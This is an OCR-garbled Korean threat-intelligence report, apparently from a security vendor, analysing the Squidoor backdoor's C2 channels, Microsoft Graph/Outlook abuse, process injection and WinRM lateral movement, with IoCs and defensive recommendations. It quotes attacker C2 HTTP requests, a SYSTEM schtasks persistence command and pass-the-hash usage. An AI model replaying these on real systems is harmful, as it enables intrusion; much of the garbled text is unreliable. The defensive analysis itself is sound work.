0 CHttpTransChannel HTTP 7|8t &4l
1 CReverseTcpTransChannel | &4 AMH 0| CiSE Rerverse TCP &
2 CReverseUdpTransChannel | &2 A 0j| CHSE Rerverse UDP HZ
=0{= TCP A =4
3 CBindTcpTransChannel = N
(U2 EAlojot ALBEE HoE FHE)
012 HTTP S =4
4 CBindHttpTransChannel = ==
(HTTP MH{ 7} &= 7|8)
COutLookTransChannel | Outlook H ¥ API & &3l 4!
6 ClempTransChannel SAE ?ldll icMp EHEE 8
7 CDnsTransChannel SAlS 98l DNS EHEd &8
T DHUOM HAME oY S2H0|UEE
8 CWebTransChannel
s s
sAE fIo) BHE MO[ZE AE
9 CBindSMBTransChannel =rnhee = . °
(LHE S A, Windows E{ F 0| A Tt SHEh
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+

Olgjgt S4 W2 otefet 20| ZEOM /ot O|E2 7HE.
e = con;19—>mode; case 5:
i S = operator new(0x80ui64);
¢ B~ memset(v38, @, @Ox80ui6d);
ooyl ort [1] = 0i64;
* [11[;Cg;s:rseTcpTranSChannel “vftable';] * I&COUtLOOKTranSChanneI Vftable.; |
*U(BYTE 014 5 24) = 0, *((_OWORD %)v38 + 1) = 0i64;
if ( 1=2) == =R
sviten (s ) case 6:
= — = operator new(0x58ui64);
E memset(v45, @, 0x58ui6d);
T * =[&CIcmpTransChannel:: vftable';
:tl‘ :j jf‘c’tyniulprrans(nanneL::'vftab\e';\ [3] = 0164;
[ Squidoor 2| &4 &0 CHot ZE £ & ]
"COutLookTransChannel” 422 A& A|, Squidoor & SIEZ L E MZ

X EZS A5 Microsoft ID EEHZ0| HAY 2018

Microsoft Graph APl E22 AL&X} HHo| 2} of2l X AEZ| 7|0 XZEE.

«  HKCUWSOFTWAREWMicrosoft#Windows#CurrentVersionWExplorertUUIDW <1 0| &=l UUID>
«  HKLMWSOFTWAREWMicrosofti#WindowsWCurrentVersion#WExplorerttUUIDW< T3 0f M &=l UUID>

POST /common/oauth2/token HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.@ (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36
Content-Length: 914

Host: login.microsoftonline.com

client_id=d359@ed6-52b3-4102-aeff-aad2292ab@1clgrant_type=refresh_token&scope=openid&resource=https://graph.microsoft.com&refresh_token=

[ Squidoor 7t M|crosoft ID 234 St7| sl 2 HTTP POST 23 ]

22 2, Squidoor = SI=RE &l £73 Pastebin H O|X|0f| HTTP GET 282 EH
Outlook API & Edf| HZEl AEZE ~E FHSI= HHHOZ Pastebin Of
CHot GET 28-S AMESHY 2L HESHE Aoz FHE
12|21 Squidoor = Outlook REST APl £ AHESHO] A Eatg ECE 2[5H0
=0 "o (FEARZ_HdE ALY ZAEO| Z2otE S HA.

0 YS &K ZotH W 2AEE H=22 k1, “content”0f = Base64 =

QIALE WY HOE AL A2 BAROIA HS

POST /vl1.8/me/messages HTTP/L1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

Content-Type: application/json

User-Agent: Mozilla/5.@ (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.8.2214.85 Safari/537.36
Content-Length: 13@

Host: graph.microsoft.com

{"subject™:"p_ ", "body":{"content"”: "Qcjpipp4

[ Squidoor 7t &ZX}F2| Outlook A0l €2

JAARAAAAAANN ==

O|H ojl 2 HTTP POST 8% |

"1

=
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SECUI

SAXE (FAR/AZ M= =Xt MEXE AHE S0 529 Outlook H 0|
Hr2 HX[EoAM HHS F 25t ME CHE Squidoor Y EEEE T,
7| H|ZEZ B =, Squidoor & Of2fet 20| O|H & HZoAM HHS

rr

FI2ISI2] AIRHEHED, OJTIO| $HE ANUS ORI, p Ol 0 BENZ

Qe r{ FAHAZ WYE =Atgt )y O] ZoHE MY drafts EEOIAM H2IE.

https://graph.microsoft.com/vl.0/me/MailFolders/drafts/messages?
Sfilter=Subject eq 'r <redacted>’ &Stop=5

[ A FHO| ZBE 0[HYS At O ALBSHE el )

O &0l A= B, SquidoorE 1 LHES AMSHY SAXIS] APMEOAM AA.
P C2ES AXH, Of

|2 =
—lkAc;liEE MAMOZ HO|= Outlook HEQA EgjEicz

—_

CryptStrlngToBmaryA WinAPI £ ALE5t

2. Base64 C|ZH

3. AES Q2 AFEXI HO| XOR 223t ¢12|E2 2] content & C|AY
4. zlib 1.2.12 & AHE3H0] CIZ Y =l contents &3 S|

of

= SN = HEXE= Squidoor Of| Al A& =

Zoot FIL HO|ZELL ot 429t Z2 A HO|HE: €3,
(o]
AN

Squidoor = C2 MMM =4I = A= BT FES 7HX| 12 A2, 0|5 Sof
SAXE ofliet 20| HHE AILES 2T0| Mojg = A= Chet 7|52

ol
| i |
« ZAE FJE S XE QA - O ==
- AHEX}E 0| E S HTt « X7} QIMALC HiE
— E —
- 222015 L F7h ZRA 20 HolRE FY
-IP FA =2 E8l L= ; Had M
« TCP £ &3l CHE Squidoor Off & ™S
- 2NN BF TIO| I 2 £ CL2 - A
« OtO|ZE Sl CHE Squidoor O] BYH M&
- Yolo| HH HH o =
(Windows H& 0t s Eh

m> E

— =

o2 mo
oA
ro
[El
HU
>
| >
4
n

O] H| & (Beacon): S AX7t StESH A
7|CE[ AL, =TT HO|HE T&5h= g

I2"0M F7 M2z C2 Mot S50 SAXS E S
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+ CQOM F7F Z2M20 ZE TS $HSEF X|A|St= BEH 2 DLL Injection
£ AI8310 I0|Z2EE F 31, Windows API 4= RtlCreateUserThread,

VirtualAllocEx, WriteProcessMemory & 2 &.

+ Windows HWOM“ SAX7F 2l FHHO| 2} Squidoor 7 HO| 2=
HotH, SAX7 AFEE = e S8 2 ofaliet 2

L

(mspaint.exe 7} system32 A 20| EXIX| Y=

FUY ZRM2E Z

[
1
o

+  mspaintexe &

(Windows11 2
. SAXEIL MHERS

1), CHAl conhost.exe Off ¢

my!
rlo
NI

0

I=
HU

+ =4 =F, or2ffet

DES MHets 20| HQIE.

m\l
(@]

L

M ID(PID)E A|AEIO|A O|0] M FOl T2k

* mspaint.exe « conhost.exe
« taskhostw.exe « vmtoolsd.exe

+ B4XE FUSH BE@MO|ZE)E AFRSI0 WinRMIIC 2 =M 0|5,
EC R ERSE T £5 24

| 20f
| Squidoor 7t CH2 Windows OS ZZ A A0 F=

=
=
7to
d.
o

A2

%
1

Uzt 27}

=
+ 0 |' EH (L | = =1 T =
 tOK1p092 » PeN17PFS50
« sEIf98RgkF * Aslire597
" C:\V\;’indows\SystemBZ\mspaint.exe PeN17PFS50 upload Deliver renamed cdb.exe
LOCAL I nthash: fontdrvhost.exe) to remote
C:/ProgramData/fontdrvhost.exe C:/ProgramData/fontdrvhost.exe - I( ont ’
10sts
CAWindows\SysWOWe&4\mspaint.exe tOK1p092 HOST.txt 5985 .LOCAL\
g “schtasks /create /RL HIGHEST /F /tn \"\Microsoft
\Windows\AppID\EPolicyManager\" /tr \"C:\ProgramData\fontdrvhost.exe -cf C:\ProgramData

mspaintexe  \canfig.ini -o C:\ProgramData\fontdrvhost.exe\" /sc MINUTE /mo 1 /RU SYSTEM" 10 65001

’ CA\Windows\SysWOW64\mspaint.exe tOK1p092 5985 LOCALY

"quser && echo. && tasklist” 10 65001
CA\\Windows\\System32\\mspaint.exe PeN17PFS50 dir

LOCAL nthash: il /

taskhostw.exe [H2E)

resaee C:/ProgramData/wmsetup.log C:/ProgramData/wmsetup.log

CA\Windows\System32\mspaint.exe Aslire597 ~  Searching for
s individuals

20d

Creating persistence
on remote hosts to
execute Squidoor

Reconnaissance

Squidoor
Deliver instance of
. C:\Windows\System32\mspaint.exe PeN17PFS50 upload & Squidoor (wmsetup.log) to
LOCAL remote hosts
nthash

[ mspaint.exe Off 0{2{ 7§2| HO|2EE F&5t= Squidoor ]

—

=2 T

(1% WinRM(Windows Remote Management): AtE&At7t A2 E A[AHO| BN ASHD 22|

QUEE 8F= Microsoft =
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+ mspaintexe O FRE HO|2E= C{AI0| 7[FE[X] 0 A[AH O Z2[0f A
M E|D, SE T TN of2et 22 AlS +us17| ) B oS Kg
. Yoz mol Yz Ol AbF|
«  powershell.exe HIO|H2|E = &E5HA| 2411 PowerShell AT EE AH
- Yoo FE HH
- S8 oie =5
+  Pass the Hash!'l =%
- S MEXNAE =
+ FIHLE AKX ALET Pastbin A F 717 =l E.

+ AE B of te 9F 1 H7F 2850 o, SAXE 7ta M2:2 HHEEE o1

[ I
+ M2 EZ230FAPI 7] 5, AdREQ Crefot 4l Syt 2EE 4
3PE E1| Pastebin 71| dE2 A8t Aoz FHE
+ of AETES =, T AN 2=
solste 2oz 2HE
wPASTEB”\] AP TOOLS  FAQ - Q
-‘spaslthin

- -u»r
u -«
[ [
. [
-3_<

[ 324 X}2| Pastbin H 0| X| ]

(1] Pass the Hash(PtH): AFEAT &2 2| 7|2 NTLM SHAIS ArE0H # A AMH| = ME|20|M 2ISdt= 7[ -




SECUI

1.2.4 &l X|E (Indicators of Compromise)

Indicator type Indicator
209.141[.]40.254
IP 104.244[.]72.123
47.76[.]224.93
Supportvmphere[.Jcom

Update.hobiter[.Jcom

Domain microsoft-beta[.Jcom

zimbra-beta[.Jinfo

microsoftapimap[.Jcom

f663149d618be90e5596b28103d38e963c44a69a5dedalbe62547259ca9ffd2d

83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8¢

8187240dafbc62f2affd70da94295035c4179c8e3831cb96bdd9bd322e22d029

fa2abdbc83fe55df848dfcaaf3163f8aaefe0c9727b3ead1dabb9fa78b598f2b

3fcfcdcb94d133563b17efe03f013e645fa2f878576282805ff5e580907d2381

f45661ea4959a944ca2917454d1314546cc0c88537479e00550eef05bed5b1b9

9f62c1d330dddad347a207a6a565ae07192377f622fa7d74af80705d800c6096

461f5969b8f2196c630f0868c2ac717b11b1c51bc5b44b87f5aad19e001869cc

224becf3f19a3f69ca692d83a6fabfd2d78bab10f4480ff6da9716328e8fc727

6c1d918b33b1e6dab948064a59e611671e55fccee383e523223213aa2c20c609¢

81bd2a8d68509dd293a31ddd6d31262247a9bde362c98cf71f86ae702bad0db4

FileHash-SHA256
7c6d29cb1f3f3€956905016f0171c2450cca8f70546eee56¢face7ba31d78970

c8a5388e7ff682d3c16ab39e578e6c529f5e23a183cd5cbf094014e0225e2e0a

1dd423ff0106b15fd100dbc24c3ae9f9860a1fcdb6a871a1e27576f6681a0850

82e68dc50652ab6c7734e€913761d04b37429fca90b7be0711cd33391febff0a

e8d6fb67b3fd2a8aab08976bcb93601262d7a95d37f6bae7c0a45b02b3b325ad

2b6080641239604c625d41857167feal4bbced7f6d288dc7eb5e88ae848aa57f

33689ac745d204a2e5de76bc976c904622508beda9c79f9d64c460ebe934c192

5dd361bcc9bd33af26ff28d321ad0f57457e15b4fab6f124f779a01df0ed02d0

945313edd0703c966421211078911c4832a0d898f0774f049026fc8c9e7d1865

a7d76e0f7eab56618f4671b5462f5c210f3ca813ff266f585bb6a58a85374156

265ceb5184cac76477f5bc2a2bf74c39041c29b33a8eb8bd1ab22d92d6bebaf5

1.2.5 LS 70| =

- fl10C g0 2AE L0 tigtol g7 = ot = 29 Jtset

o EER| X APEF A
. NEE 4 gl ¥3 29 59

- CHE JOIM AHEE[= QtE| HIO|Z A Z2OMS ZMHTELZ 74
- ARBEE M E2A0IMY E= 2EMA O BBt x4 IiX[S gHS

126 &1 Xtz

- https://unit42.paloaltonetworks.com/advanced-backdoor-squidoor/
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SECUI

2l=& Y2 FEE|= Sosano 2= 0

Ille

1.3

131 7|9 E X 2%
+ 7|®|E: Sosano, Polyglot, Spear Phishing
+ 29 OtH0|2|ES| 7|22 & 22 Sosano HEO{7} R

o

132 2 AH
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